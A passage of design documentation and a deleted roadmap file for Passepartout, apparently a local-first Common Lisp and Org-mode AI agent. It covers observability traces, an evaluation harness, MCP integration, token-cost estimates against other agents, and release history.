Third, the REPL is a shared substrate. When the agent evaluates code, that code runs in the same image as the agent's own cognition. There is no process boundary between the agent and its tools. The REPL is not a subprocess the agent controls - it is a direct interface to the agent's own nervous system.
This is why the REPL becomes more important as the system matures. In early versions, it is a development tool. In v0.6.0 and beyond, it becomes a cognitive tool: the agent explores hypotheses by evaluating them, verifies the output of sub-agents by inspecting live state, and tests modifications before committing them to the knowledge graph.
** Observability and the Thought Trace
:PROPERTIES:
:ID: design-observability
:CREATED: [2026-05-07 Wed]
:END:
When a human asks why the system made a decision, the answer must be findable. In most AI systems, the reasoning is ephemeral - it exists in the model's activations and disappears when the session ends. In Passepartout, every significant cognitive event is written to an Org buffer as it happens.
The thought trace is the agent's journal, written in parallel with its reasoning. When the probabilistic engine generates a proposal, the trace records the input, the prompt, and the raw output. When the deterministic engine evaluates it, the trace records which rules were checked, which passed, which failed, and why. When an action is executed, the trace records the timestamp, the user who approved it (if human-in-the-loop), and the outcome.
This is not logging in the traditional sense. Logs are forensically useful but are written in a machine format optimized for storage, not for human reading. The thought trace is written in Org-mode: headlines for major events, property drawers for structured data, tags for categorization. The human can open the trace in a text editor and navigate it like any other Org file. They can search for a specific decision, filter by time range, find all actions blocked by a specific rule, or see the complete trajectory of a multi-step task.
The trace becomes the foundation for the Dispatcher's learning. Every blocked action is in the trace. Every approved exception is in the trace. The human-in-the-loop decisions are in the trace. The system does not need to reconstruct what happened - it reads what happened from the trace it wrote.
Without observability, the system is a black box that happens to produce correct outputs sometimes. With observability, the system is auditable. The human can see why a decision was made, identify where the reasoning failed, and course-correct the system or its own behavior accordingly.
** Literate Programming as Discipline
:PROPERTIES:
:ID: design-literate-programming
:CREATED: [2026-05-07 Wed]
:END:
The decision to use Org-mode as the source of truth for code, not just documentation, is not a ceremonial preference. It is a constraint mechanism that enforces better engineering habits at the cost of convenience.
The traditional development workflow is: write code, write comments, commit. The literate programming workflow is: write prose, write code, commit the Org. The order matters. The prose must come first not because of style guidelines but because the act of explaining what a function does before writing it forces clarity of thought that editing code directly does not.
When you must write a paragraph describing what a function does before you write the function, you discover the cases you have not considered. You find the edge conditions that are ambiguous. You realize that the function's name does not match its behavior, or that its behavior does not match your intent. The friction is not a bug - it is the mechanism by which thinking is enforced.
The one-function-per-block rule enforces granularity. A function that cannot be explained in a paragraph is a function that is doing too much. The block boundary is not aesthetic - it is architectural. It prevents the drift toward monolithic functions that accumulate responsibilities over time and become untestable, unmaintainable, and incomprehensible.
The tangle step enforces source-of-truth discipline. The .lisp file is generated from the Org file. This means the Org file cannot drift from the implementation. If the implementation changes, the Org must be updated to match. If the Org describes behavior that the implementation does not perform, the tangle produces code that does not match the Org description. Either way, inconsistency is visible and recoverable.
The evaluation gate enforces correctness. Every block can be evaluated independently in a running Lisp image. This means syntax errors are caught at authorship time, not at integration time. The function that compiles in isolation but fails in context is the function whose context dependencies were never made explicit. The evaluation gate forces those dependencies to surface.
Together, these constraints create a development experience that is slower in the small and faster in the large. Writing a new function takes longer because you must explain it. But debugging, maintaining, and extending the codebase is faster because every function has a human-readable explanation of its intent, every function is testable in isolation, and every function's source is always synchronized with its documentation.
The literate programming discipline is not about producing documentation. It is about producing code whose correctness has been verified by the act of explaining it.
** The Evaluation Harness
:PROPERTIES:
:ID: design-evaluation-harness
:CREATED: [2026-05-07 Wed]
:END:
SOTA parity is meaningless without measurement. A system that claims to match commercial agents must demonstrate it through reproducible benchmarks, not through feature checklists. The evaluation harness is the apparatus by which Passepartout proves its capabilities.
The industry standard for coding agents is SWE-bench: a corpus of GitHub issues paired with pull requests. The agent is given an issue, must understand the codebase, write a fix, and submit. Success is measured by whether the submitted PR passes the existing test suite. This tests the full chain: understanding, planning, code generation, verification, and multi-step reasoning.
Passepartout implements a native Lisp harness for this. A background thread clones repositories, feeds issues into the cognitive loop, tracks the resolution trajectory as an Org-mode headline tree, and scores success by test outcomes. The trajectory is persisted: when a resolution fails, the system can inspect where in the chain the reasoning broke down. The headline tree records the agent's thoughts at each step, making the failure auditable and the debugging human-assisted.
Beyond SWE-bench, the harness includes chaos testing. The system is subjected to resource starvation, concurrent load, and adversarial input. The deterministic engine must maintain safety invariants under pressure. The symbolic verifier must not deadlock or livelock. The probabilistic engine must degrade gracefully - if tokens are limited, it must still produce valid proposals that the deterministic engine can evaluate. Failure under chaos is a design flaw, not a benchmark anomaly.
The harness also supports regression testing on the skill set. Every skill is tested against a suite of known inputs and expected outputs. When a modification is proposed to any skill - whether through manual editing or the agent's own self-modification - the test suite runs first. A skill that fails its tests is rejected before it can propagate to the running image. This is not a convenience - it is the mechanism by which self-modification remains safe. The agent can propose changes, but the harness verifies them before the changes take effect.
** The MCP Strategy
:PROPERTIES:
:ID: design-mcp-strategy
:CREATED: [2026-05-07 Wed]
:END:
The Model Context Protocol (MCP) is a standard for connecting AI systems to external tools and data sources. It defines how a client requests tools from a server, how the server exposes its capabilities, and how the client invokes them. The ecosystem is growing: MCP servers exist for GitHub, Slack, Postgres, filesystem access, and much more.
Passepartout connects to this ecosystem, but not by becoming a Node.js runtime. The architecture is: external MCP servers communicate via stdio or SSE to a Lisp-native MCP client that runs in the same image as the agent. The client is pure Common Lisp - it parses the JSON-RPC messages, invokes the tools, and presents results to the agent as Lisp data structures. There is no serialization overhead between the agent and the MCP layer, no process boundary, no impedance mismatch.
When the agent calls a tool via MCP, it receives a plist with the tool name, arguments, and result. The result is immediately usable by the agent's symbolic engine. When the agent generates a file, it can be written to the filesystem through an MCP filesystem server. When the agent needs to send a message, it can use an MCP Slack server. The agent does not need to know that these are MCP interactions - it sees only the plists that flow through its cognitive architecture.
The alternative is to build MCP wrappers in Python or TypeScript and bridge to Lisp via subprocess. This is what OpenClaw does: a Node.js runtime that manages MCP servers, with a bridge to the Lisp process. The bridge introduces latency, serialization costs, and a maintenance burden. The Node.js process must be kept running. The bridge must be maintained across Lisp and JavaScript runtimes. The cognitive architecture must handle errors that cross the process boundary.
Passepartout's native client is smaller, faster, and more maintainable. The MCP client is a skill, not a core component. It can be reloaded, replaced, or removed without restarting the agent. The agent can add new MCP tool integrations by loading new skills, not by deploying new infrastructure.
** Local-First Architecture
:PROPERTIES:
:ID: design-local-first
:CREATED: [2026-05-07 Wed]
:END:
Passepartout is designed to run on the user's machine, on their hardware, with their data, without requiring an internet connection. This is not a deployment option - it is an architectural commitment. The system must be able to reason, plan, and act using only the resources available locally.
The motivation is not merely philosophical. Cloud-based AI agents are economically incentivized to collect data, to train on user interactions, and to build lock-in through proprietary formats and network effects. When the agent runs locally, the user owns the hardware, owns the data, and can terminate the process without asking permission. There is no vendor that can change terms, no service that can go offline, no model that can be updated without consent.
Technically, local-first means several things. The LLM must be able to run on local hardware. Passepartout supports Ollama as a provider, which runs quantized models on CPU and GPU without requiring an external API. The vector database must be local. Passepartout uses its own org-object store, which is a folder of Org files that the agent already owns. There is no ChromaDB or Qdrant to install, no cloud vector service to authenticate with.
The symbolic engine does not require a network connection. The Prolog/Datalog reasoner that in v3.0.0 verifies neural proposals runs entirely in the Lisp image. The Dispatcher's rule synthesis does not call an external service. The agent can operate in a disconnected environment indefinitely, resuming full capability when connectivity is restored.
This does not mean Passepartout refuses to use cloud services when available and appropriate. It means cloud services are optional enhancements, not architectural requirements. The core is local. The user can choose to add cloud LLM providers for more capable inference, but the system functions without them.
*On live images and binaries.* Passepartout's primary delivery path is source code running in a live SBCL process. The REPL is available. Skills hot-reload. The cognitive loop runs in an image that is mutable, inspectable, and homeiconic — the user can connect with SLIME, trace functions, inspect memory objects, and modify the system while it runs. A ~save-lisp-and-die~ binary is provided as a convenience for platforms where SBCL cannot be installed (corporate laptops, shared hosts). The binary is the same image saved to disk with Swank pre-loaded — it is not a sealed container. The REPL works. Skills hot-reload. The binary is a packaging format, not an architectural decision. The system is constitutionally open in both delivery paths.
* Token Economics and Performance Advantage
:PROPERTIES:
:ID: design-token-economics
:END:
This section analyzes how Passepartout's architectural decisions translate into token usage, latency, and cost versus competing agent designs (OpenClaw, Hermes, Claude Code).
** The Core Insight: LLM as Expensive Resource, Not Default Engine
Passepartout treats the LLM as a resource to be minimized. Every operation is designed to reduce LLM dependency. Competitors treat the LLM as the core engine through which all operations flow. This is not a difference of degree but of architecture.
The three structural multipliers are:
*Sparse tree retrieval* — loading relevant subtrees (200-800 tokens per file) rather than full files (1,500-5,000 tokens) = ~5-10x reduction per file access
2. *Deterministic safety* — 9-vector dispatcher gate runs in pure Lisp (0 LLM tokens per verification) versus prompt-based guardrails (200-500 tokens per action) = infinite multiplier
3. *REPL verification* — catches errors in-image (milliseconds, 0 LLM tokens) versus LLM correction round-trips (500-2,000 tokens per retry)
These compound. A coding session touching 20 files, performing 10 actions, and triggering 3 errors saves ~50,000-100,000 tokens compared to the same session with Claude Code.
** Per-Task Type Guesstimate
*** Coding (debugging, refactoring, PR review)
| Operation | Passepartout | Claude Code | Hermes (3-agent) | Savings vs Claude |
|-------------------------------------+-------------------------+-----------------------------+------------------------------+-----------------------|
| File access (30 files) | 30 × 400 tok = 12,000 | 30 × 3,000 tok = 90,000 | 30 × 3,000 tok × 3 = 270,000 | 78,000 tok |
| Reasoning rounds (20) | 20 × 3,000 tok = 60,000 | 20 × 4,000 tok = 80,000 | 20 × 3,000 tok × 3 = 180,000 | 20,000 tok |
| Error correction (5 caught by REPL) | 0 (REPL) | 5 × 1,000 tok = 5,000 | 5 × 1,000 tok × 3 = 15,000 | 5,000 tok |
| Safety verification | 0 (deterministic) | 500 tok/round × 20 = 10,000 | 200 tok/round × agents | 10,000 tok |
| Agent coordination | 0 | 0 | 3,000-5,000 tok/task | 0 |
| *Total* | *~72,000 tok* | *~185,000 tok* | *~475,000 tok* | *~113,000 tok (2.6x)* |
Over a month of daily coding (20 sessions): ~2.3 million tokens saved. At typical API pricing ($2-15/M tokens), this saves $5-35/month.
*** Knowledge Management (Zettelkasten, research, note-taking)
Passepartout's strongest domain. The Org-mode native format and sparse tree retrieval create a 10-40x advantage because knowledge bases are the worst case for "load everything" architectures.
| Operation | Passepartout | Competitor | Savings |
|--------------------------------+--------------------------------------------------------+-----------------------------------------+-----------|
| Context assembly (500-node KB) | Peripheral outline + ~5 foveal nodes = 2,000-4,000 tok | Full serialization = 80,000-150,000 tok | 40-75x |
| Semantic search (10 queries) | Vector lookup in-image = 0 LLM tok | LLM-assisted search = 5,000 tok | 5,000 tok |
| Note creation (10 notes) | Deterministic Org writes = 0 LLM tok | 10 × 800 tok = 8,000 | 8,000 tok |
| *Total per session* | *~7,000 tok* | *~95,000-165,000 tok* | *~13-24x* |
*** Day-to-Day Life Management (calendar, tasks, reminders)
| Operation | Passepartout | Competitor | Savings |
|-----------------------------+--------------------------------------------+--------------------------------+------------|
| Background maintenance | Deterministic heartbeat-driven = 0 LLM tok | Scheduled LLM calls or skipped | Variable |
| User interactions (30/day) | 30 × 2,000 tok = 60,000 | 30 × 4,000 tok = 120,000 | 60,000 tok |
| Context queries by TODO/tag | Hash table scan = 0 LLM tok | LLM-based search = 2,500 tok | 2,500 tok |
| *Total per day* | *~60,000 tok* | *~122,500 tok* | *~2x* |
The defining advantage: background maintenance (compaction, archiving, link repair) costs zero LLM tokens. Competing systems either skip this or pay LLM costs for it.
*** Chatting (casual conversation)
Chatting is inherently LLM-bound. Passepartout's edge is privacy filtering before content reaches the LLM and slightly smaller context footprint. Token savings are marginal (~1.3x).
** The Dispatcher Learning Curve: Cost Decreases Over Time
A unique architectural property: Passepartout's cost curve descends while competitors' ascends.
Passepartout: As the dispatcher accumulates deterministic rules from Human-in-the-Loop decisions, fewer actions require LLM proposals. A file write that initially triggered a full LLM proposal → dispatcher review → HITL approval → rule extraction loop eventually becomes a deterministic rule check. Each hardened rule permanently reduces future token costs.
Competitors: As context histories grow, safety instructions accumulate, and guardrails become more elaborate, each interaction costs more than the last. The only way to reduce cost is to cap context — sacrificing capability.
After 12 months of learning, Passepartout's core reasoning costs could drop to 40-60% of baseline, while competitors' costs rise to 125-140% of baseline.
The crossover point where Passepartout becomes structurally cheaper is estimated at 3-6 months depending on usage volume and task diversity.
** Local LLM Viability
Reduced context requirements change which model sizes deliver acceptable performance:
| Model | Passepartout Viability | Competitor Viability |
|--------------------------+-----------------------------+----------------------|
| Phi-3-mini 3.8B (4K ctx) | Viable for structured tasks | Context starvation |
| Llama 3.1 8B (8K ctx) | Comfortable daily driver | Marginal |
| Qwen 2.5 7B (4K ctx) | Viable for most tasks | Not viable |
| Mistral 7B (8K ctx) | Comfortable | Marginal |
| Llama 3.1 70B (128K ctx) | Overkill (but works) | Comfortable |
KV cache memory scales with context length:
| Context Window | KV Cache (Llama 3.1 8B, FP16) |
|----------------+-------------------------------|
| 4K tokens | ~67 MB |
| 32K tokens | ~540 MB |
| 128K tokens | ~2.1 GB |
Passepartout at 4K effective context: ~67 MB KV cache. Competitor at 128K: ~2.1 GB. A 7-8B model on an RTX 3060 Ti (8 GB VRAM) or MacBook (16 GB unified memory) is a practical daily driver with Passepartout. Competitors at full context require 16-32 GB VRAM or cloud APIs.
** Comparison Summary
| Metric | Passepartout | Claude Code | Hermes | OpenClaw |
|-----------------------------+---------------------+-------------------------+------------------------------+-----------------------|
| Active context (tokens) | 2,000-4,000 | 10,000-50,000+ | 5,000-15,000/agent | 10,000-40,000 |
| File access cost (per file) | 200-800 tok | 1,500-5,000 tok | 1,500-5,000 tok × agents | 1,500-5,000 tok |
| Safety verification cost | 0 (deterministic) | 200-500 tok/action | 200-500 tok/action × agents | 100-300 tok/action |
| Agent coordination cost | 0 | 0 | 1,000-3,000 tok/task | 500-2,000 tok/task |
| Error recovery cost | 0 (REPL) | 500-2,000 tok/retry | 500-2,000 tok/retry × agents | 500-2,000 tok/retry |
| Long-term cost trend | Decreasing | Increasing | Increasing | Flat/Increasing |
| Min viable local model | 3-4B params, 4K ctx | 30-70B params, 32K+ ctx | 30-70B params, 32K+ ctx | 7-13B params, 8K+ ctx |
| Min VRAM for local | 4-6 GB | 16-32 GB | 24-48 GB | 8-16 GB |
*Note:* Observations about OpenClaw and Hermes Agent are based on their public documentation and repositories as of 2026-05. OpenClaw (github.com/openclaw/openclaw) is a TypeScript personal AI assistant by @steipete with a Node.js gateway, 25+ messaging channels, and Canvas/voice companion apps. Hermes Agent (github.com/NousResearch/hermes-agent) is a Python fork by Nous Research with a built-in learning loop, full TUI, and sub-agent delegation. Both use prompt-based safety guardrails rather than deterministic gates. Architectural claims should be re-verified as these projects evolve.
*Conclusion:* Passepartout's architecture is designed to produce 2-3x token savings for coding, 13-24x for knowledge management, and 2x for life management at v1.0.0 maturity. The three structural advantages — sparse trees, deterministic safety, and REPL verification — compound. The critical risk is implementation gap: achieving the retrieval precision, dispatcher learning, and REPL integration depth required to realize the design.
*Note:* The token savings projections in this section (2–3x for coding, 13–24x for knowledge management) are architectural estimates based on the sparse-tree retrieval and deterministic safety mechanisms. They have not yet been empirically verified. A token audit harness will produce measured comparisons at v0.5.0 (Token Economics & Prompt Efficiency). Until then, the README cites the mechanisms (sparse-tree rendering, deterministic gates) rather than specific magnitudes.
* Open Questions and Risks
1. *Retrieval accuracy is the bottleneck.* If sparse tree retrieval loads the wrong subtree (low-similarity but causally relevant), the LLM makes unfixable errors. The architecture assumes embedding quality is "good enough" — this is untested at scale.
2. *System prompt overhead can consume savings.* Every =think= cycle iterates all registered skills and calls every =system-prompt-augment= function. With 20+ skills, a trivial interaction could carry 3,000-8,000 tokens of overhead before user input is even processed. This overhead is flat per-call, so it disproportionately affects short interactions.
3. *Model size vs context quality.* A 3.8B model with perfect context cannot match a 70B model on complex multi-file refactors regardless of context quality. Model size independently determines reasoning depth. The minimum viable model is likely 7-13B parameters for engineering work.
4. *The 3-retry dispatcher loop.* When the dispatcher rejects a proposal, the rejection trace feeds back to the LLM for self-correction (up to 3 retries). If the dispatcher rejects 30% of proposals, the effective token multiplier is 1.39x per action. At 50% rejection (plausible during early use), it is 1.75x. This penalty decreases as the dispatcher accumulates rules.
5. *Competitor evolution.* Sparse retrieval is not patentable. Claude Code, Copilot, and others will implement similar mechanisms. The architectural advantage is real but finite in duration. The deterministic safety gate is the harder-to-replicate differentiator.

877
docs/ROADMAP.org
View File

@@ -1,877 +0,0 @@
#+TITLE: Passepartout Evolutionary Roadmap
#+STARTUP: content
#+FILETAGS: :docs:roadmap:
* The Evolutionary Roadmap
Understanding Passepartout as a function in time is not nostalgia. It is architectural guidance. Every decision in v0.x should be made with awareness of where the system is going. Code written today becomes the substrate for v3.0. Skills designed today become the vocabulary the symbolic engine speaks tomorrow.
The probabilistic beginning is not a weakness to overcome. It is the bootstrap. The system learns the domain through probabilistic inference, and that learned knowledge becomes the seed for the symbolic engine. By the time the symbolic engine takes over, it has a rich knowledge graph to reason about, grown from thousands of probabilistic interactions.
This is how you build a reasoning machine: start with a learner, make it learn to verify by watching itself and its user, let verification become the core. Every blocked action becomes a rule. Every approved exception becomes a pattern. The symbolic layer grows at the probabilistic layer's expense. Remove the learner once it has learned enough.
Each version expands the deterministic layer. The Dispatcher writes rules from approved exceptions. Shadow mode runs trial executions. Tool permission tiers mature from simple allow/deny to nuanced context-aware policies. The agent becomes less likely to attempt dangerous actions not because it is smarter but because the guard has more complete information.
The roadmap is designed working backwards from SOTA parity (v1.0.0), guiding each version toward a fully autonomous, self-editing agent. Each version builds on the previous, with features designed to be implemented in pure Common Lisp + Org-mode.
The TODO states in each version's Tasks section are the authoritative task tracker. The feature tables describe what each version delivers.
Feature releases increment the minor version (v0.X.0). Bugfix and hardening releases increment the patch version (v0.X.Y). This ensures that security patches and critical fixes are visible in the version number and can ship independently of feature work. No feature release ships without its prerequisite hardening releases resolved.
** File Update Checklist
When a version's state changes (DONE → tested → released), update these locations:
1. ~ROADMAP.org~ — mark item DONE, update LOGBOOK timestamp
2. ~README.org~ — update Current Capabilities table (add new Stable rows for shipped features, remove Planned rows that have shipped)
3. ~~.env.example~ — update version references as needed
4. ~lisp/core-communication.lisp~ — update the ~make-hello-message~ version string (current: ~"0.2.0"~)
5. ~passepartout~ (bash entry point) — update version reference
On release:
1. Tag the release on GitHub
2. Extract DONE items from ROADMAP (all items with LOGBOOK timestamps since the last release tag) and use as the release notes body
3. If a ~CHANGELOG.md~ is needed for packaging tools, auto-generate it from ROADMAP DONE items
** v0.1.0: The Autonomous Foundation — RELEASED 2026-04-20
:PROPERTIES:
:RETROSPECTIVE: [2026-05-07 Wed]
:END:
The secure, auditable Lisp kernel. All core infrastructure in place.
*** DONE Perceive-Reason-Act pipeline
:PROPERTIES:
:ID: id-06f10b9a-4054-4dea-a927-b0935fbdcd2f
:CREATED: [2026-03-22 Sun]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-20 Mon]
:END:
This established the three-stage cognitive cycle that all later features plug into. The pipeline is the invariant — skills, gates, actuators, and clients all compose through it.
*** DONE Skills engine with jailed loading
:PROPERTIES:
:ID: id-dc83944f-3923-4142-b324-c317dacd6b0b
:CREATED: [2026-03-22 Sun]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-20 Mon]
:END:
This made the "thin harness, fat skills" identity operational. Skills loading into jailed packages (v0.1.0) is the foundation for the skill sandbox mode (v0.3.2) and the Skill Creator (v0.8.0).
*** DONE Policy skill (6 invariants)
:PROPERTIES:
:ID: id-929c84b7-d6ae-42b9-a8b5-d9df962db826
:CREATED: [2026-03-22 Sun]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-20 Mon]
:END:
This established the "explanation required" invariant that gates stack above. The policy gate (priority 500) runs first and sets the precedent that every action must justify itself.
*** DONE Memory (memory-object + Merkle hashing)
:PROPERTIES:
:ID: id-3a96b384-cacf-4da0-8faa-1647739feba9
:CREATED: [2026-03-22 Sun]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-20 Mon]
:END:
The Merkle tree with content-addressed hashing made copy-on-write snapshots (v0.2.0) and MVCC concurrency (v0.6.1) possible. The hash-as-identity property also feeds directly into the foveal-peripheral model's semantic retrieval.
*** DONE Scribe + Gardener background workers
:PROPERTIES:
:ID: id-3f618a38-ec23-4034-ba3c-ef272e212e2b
:CREATED: [2026-03-22 Sun]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-20 Mon]
:END:
These background workers established the heartbeat-driven maintenance pattern. The event orchestrator (v0.3.0) generalizes this into hooks and cron jobs.
*** DONE LLM gateway (OpenRouter, Ollama)
:PROPERTIES:
:ID: id-f5d870e2-cbd2-4c00-a8d4-174ab4118afc
:CREATED: [2026-04-11 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-20 Mon]
:END:
The provider-agnostic cascade pattern established in v0.1.0 makes the model-tier router (v0.3.0), privacy-aware routing (v0.3.0), and consensus loop (v0.10.0) possible — they all build on the same ~backend-cascade-call~ abstraction.
*** DONE Shell actuator, Emacs bridge, credentials vault
:PROPERTIES:
:ID: id-7ca3167f-8353-4bb7-8b97-c039017716b0
:CREATED: [2026-04-11 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-20 Mon]
:END:
The actuator registry pattern makes MCP tools (v0.7.0) possible — they register the same way.
*** DONE FiveAM test suite
:PROPERTIES:
:ID: id-925d4180-764b-4219-8bdc-8e1849572da1
:CREATED: [2026-04-11 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-20 Mon]
:END:
The test infrastructure established in v0.1.0 becomes the TDD runner (v0.7.1) and the SWE-bench harness (v0.9.0).
** v0.2.0: Interactive Refinement — RELEASED 2026-04-29
:PROPERTIES:
:RETROSPECTIVE: [2026-05-07 Wed]
:END:
The "Brain" meets the "Machine." Standardization and professionalization of the user interface and environment.
*** DONE Text User Interface (Croatoan-based, styled, scrollable)
:PROPERTIES:
:ID: id-57cef382-fe14-42e6-aade-03e05e3e920b
:CREATED: [2026-04-28 Tue]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-29 Wed]
:END:
The Croatoan-based TUI with model-view separation and dirty-flag rendering is the foundation for all TUI improvements: word wrap in v0.3.3, gate trace in v0.4.0, tool visualization in v0.7.0, and streaming in v0.6.3.
*** DONE Self-editing (error detection, surgical fix, hot-reload)
:PROPERTIES:
:ID: id-459b8275-9979-4d0f-8d61-a9af883930d4
:CREATED: [2026-04-23 Wed]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-29 Wed]
:END:
The surgical edit + tangle + hot-reload pipeline (text replace → tangle → compile → load) established the self-modification capability that makes the Skill Creator (v0.8.0) safe — skills are generated, tangled, loaded, and verified in the same loop.
*** DONE Enhanced utilities (structural Lisp/Org manipulation + REPL)
:PROPERTIES:
:ID: id-23f37c0d-4e77-4dc3-ab43-52a5987eb426
:CREATED: [2026-04-23 Wed]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-29 Wed]
:END:
Structural Lisp/Org manipulation tools are the primitives the self-improve module (v0.2.0) and the programming skills (literate block extraction, syntax validation) build on.
*** DONE Onboarding wizard (modular Lisp setup for LLM providers)
:PROPERTIES:
:ID: id-bd497de7-3533-4056-b89f-2c992d2ea28b
:CREATED: [2026-04-28 Tue]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-29 Wed]
:END:
The setup wizard established the "works out of the box" constraint that the gateway QA (v0.4.0) and Emacs bridge (v0.4.0) onboarding flows follow.
*** DONE Memory rollback (snapshot and restore)
:PROPERTIES:
:ID: id-fd2fb6e3-03e7-4e22-b9e9-a7eecfd06718
:CREATED: [2026-04-12 Sun]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-04-29 Wed]
:END:
Copy-on-write snapshots (deep-copying the memory hash table on every write) gave the pipeline crash recovery. The snapshot mechanism is the root of MVCC concurrency (v0.6.1).
** v0.3.0: Event Orchestration + HITL — DONE, UNRELEASED
Unified control plane, Human-in-the-Loop state management, and backfill remediation
for stubs and gaps from v0.1.0/v0.2.0. All features are implemented but not yet
published. The security hardening patches (v0.3.1–0.3.3) will ship as follow-up
point releases before v0.4.0 feature work begins.
*** DONE Secret Exposure Gate, Shell Safety, Lisp Validation
:PROPERTIES:
:ID: id-aa53c128-195b-42d4-9838-2def59faf7cf
:CREATED: [2026-05-02 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-02 Sat]
:END:
*** DONE Multi-distro deployment (Debian+Fedora, systemd, Docker)
:PROPERTIES:
:ID: id-783df999-f7fe-45c8-896d-2fd07c604d64
:CREATED: [2026-05-02 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-02 Sat]
:END:
*** DONE Project rename to Passepartout (files, packages, env vars)
:PROPERTIES:
:ID: id-91724874-aa0d-4804-9220-8bc5551f1366
:CREATED: [2026-05-02 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-02 Sat]
:END:
*** DONE 31 org files with full literate prose
:PROPERTIES:
:ID: id-597b2a92-aac6-481a-b2c4-4f9842ced97c
:CREATED: [2026-05-02 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-02 Sat]
:END:
*** DONE Human-in-the-Loop (HITL)
CLOSED: [2026-05-03 Sun 14:00]
:PROPERTIES:
:ID: id-hitl-complete
:CREATED: [2026-05-02 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-03 Sun 14:00]
:END:
Continuation-based interaction. The agent can suspend its cognitive loop to ask for
permission or clarification and resume precisely where it left off. Builds on the
dispatcher's existing Flight Plan mechanism.
*** DONE Event Orchestrator (unified hooks+cron+routing)
:PROPERTIES:
:ID: id-d35aea3d-2e5f-4a12-a9b0-1c2d3e4f5a6b
:CREATED: [2026-05-02 Sat 14:00]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-02 Sat 22:36]
:END:
Unified control plane for hooks, cron, and complexity-based routing.
- *hook-registry* + *cron-registry* + tier classifier
- Hooks via ~#+HOOK:~ Org-mode properties
- Three complexity tiers: ~:REFLEX~ (no LLM), ~:COGNITION~ (light LLM), ~:REASONING~ (full LLM)
- Hooked into heartbeat for cron processing
- Rule-based tier classifier (overrideable via ~*tier-classifier*~)
*** DONE Context Manager (project scoping)
CLOSED: [2026-05-05 Tue]
:PROPERTIES:
:ID: id-context-manager-scoping
:CREATED: [2026-05-05 Tue]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-05 Tue]
:END:
Stack-based project focusing with persistence.
- ~push-context~/~pop-context~/~with-context~ stack operations
- ~current-scope~ wired into perceive gate ~*scope-resolver*~
- ~/focus~/~/scope~/~/unfocus~ TUI commands
- Context stack persisted to ~~/.cache/passepartout/context.lisp~, auto-restores on boot
*** DONE Model-Tier Routing (cost optimization)
CLOSED: [2026-05-03 Sun 16:00]
:PROPERTIES:
:ID: id-model-tier-routing
:CREATED: [2026-05-02 Sat 23:00]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-03 Sun 16:00]
:END:
Extend ~*model-selector*~ for quadrant-based routing with per-slot provider cascades.
- Privacy filter (local-only for @personal content) — top priority
- Quadrant tagging (foreground/background × probabilistic/deterministic)
- Complexity classifier (code/plan/chat/background slots), each with its own provider cascade
- Model-selector skill registers into =*model-selector*= hook
Deferred to v0.5.0: budget tracking per request, per-session cost monitoring.
Deferred to v0.10.0: TUI /config command for cascade configuration (env vars for now).
*** DONE Memory Scope Segmentation
CLOSED: [2026-05-03 Sun 16:30]
:PROPERTIES:
:ID: id-memory-scope-segmentation
:CREATED: [2026-05-02 Sat 23:00]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-03 Sun 16:30]
:END:
Extend memory-object with ~:scope~ property.
- ~:memex~ (permanent knowledge), ~:session~ (ephemeral), ~:project~ (current work)
- Scope-aware retrieval in memory layer
*** DONE Asynchronous Embedding Gateway
CLOSED: [2026-05-05 Tue]
:PROPERTIES:
:ID: id-async-embedding
:CREATED: [2026-05-02 Sat 23:00]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-05 Tue]
:END:
Provider-agnostic vector generation (Ollama, OpenAI, hashing fallback).
- Three backends: local (Ollama-compatible), openai (/v1/embeddings), hashing (SHA-256)
- ~embeddings-compute~ and ~*embedding-backend*~ for runtime provider selection
- ~ingest-ast~ populates vectors at object creation time
- ~mark-vector-stale~ marks vectors as ~:pending~ and queues for re-embedding
- ~embed-all-pending~ drains queue, computes vectors, stores in ~*memory-store*~
- Cron job registered with orchestrator: runs every 10m on ~:reflex~ tier
- ~EMBEDDING_PROVIDER~ env var for provider selection
- Registered as proper skill (~defskill~~:passepartout-system-model-embedding~)
*Note:* The default ~:hashing~ backend uses SHA-256-derived vectors. SHA-256 is a
cryptographic hash with the avalanche property — one-bit input differences produce
entirely different outputs. This makes it a correct integrity check (Merkle tree)
but an incorrect similarity function (semantic retrieval). v0.4.0 replaces it with
a zero-dependency lexical similarity algorithm that actually captures textual
overlap while remaining offline-capable.
*** DONE TUI Experience (Daily Driver Quality)
CLOSED: [2026-05-05 Tue]
:PROPERTIES:
:ID: id-tui-experience
:CREATED: [2026-05-02 Sat 23:00]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-05 Tue]
:END:
All P0-P4 items implemented:
- P0: Chat scrollback (Page Up/Down), Input history (up/down arrows)
- P1: Status bar (connection, mode, msg count, scroll, activity indicator)
- P1: Message rendering (timestamps, colors, role icons)
- P2: Command palette (~/help~ command listing)
- P2: Multi-line input (~\ + Enter~ inserts newline)
- P3: Background activity indicator (~…thinking~ spinner)
- P4: Tab completion for all ~/~~ commands
- P4: Configurable theme (~*tui-theme*~ plist, ~~/theme~~ command)
*** DONE v0.2.x Backfill Remediation (stubs and gaps)
CLOSED: [2026-05-03 Sun]
:PROPERTIES:
:ID: id-v02x-remediation
